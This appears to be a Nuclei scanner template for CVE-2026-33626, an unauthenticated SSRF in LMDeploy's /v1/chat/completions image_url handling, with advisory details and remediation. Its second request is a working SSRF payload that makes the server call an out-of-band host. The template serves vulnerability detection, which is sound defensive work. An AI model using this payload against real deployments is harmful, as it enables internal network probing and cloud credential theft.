LMDeploy - Server-Side Request Forgery

id: CVE-2026-33626

info:
  name: LMDeploy - Server-Side Request Forgery
  author: theamanrawat
  severity: high
  description: |
    LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions prior to 0.12.3 have a Server-Side Request Forgery (SSRF) vulnerability in the vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal or private IP addresses, allowing unauthenticated attackers to access cloud metadata services, internal networks, and sensitive resources via the image_url parameter in /v1/chat/completions requests.
  impact: |
    An unauthenticated attacker can force the LMDeploy server to make HTTP requests to arbitrary internal or external addresses, leading to cloud credential theft via metadata APIs, internal service enumeration, and information disclosure.
  remediation: |
    Upgrade LMDeploy to version 0.12.3 or later where URL validation via _is_safe_url() blocks requests to non-globally-routable IP addresses.
  reference:
    - https://github.com/advisories/GHSA-6w67-hwm5-92mq
    - https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq
    - https://nvd.nist.gov/vuln/detail/CVE-2026-33626
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-33626
    epss-score: 0.4525
    epss-percentile: 0.98711
    cwe-id: CWE-918
  metadata:
    verified: false
    max-request: 2
    vendor: internlm
    product: lmdeploy
  tags: cve,cve2026,lmdeploy,ssrf,oast,llm,vkev,unauth

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/v1/models"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "lmdeploy")'
        condition: and
        internal: true

  - raw:
      - |
        POST /v1/chat/completions HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"model":"internlm-xcomposer2","messages":[{"role":"user","content":[{"type":"text","text":"Describe this image"},{"type":"image_url","image_url":{"url":"http://{{interactsh-url}}"}}]}]}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(interactsh_protocol, "http")'
          - 'contains(interactsh_request, "User-Agent")'
        condition: and
# digest: 4a0a00473045022100d1557e51fcb0891603312e5307f7206c44c9b764c2502ac03e5b12bb54b6d28802200c9a2d3eccd7b582bd0e631f1da21a1cab4eea0243051a78bb9f2ea5c2907108:922c64590222798bb761d5b6d8e72950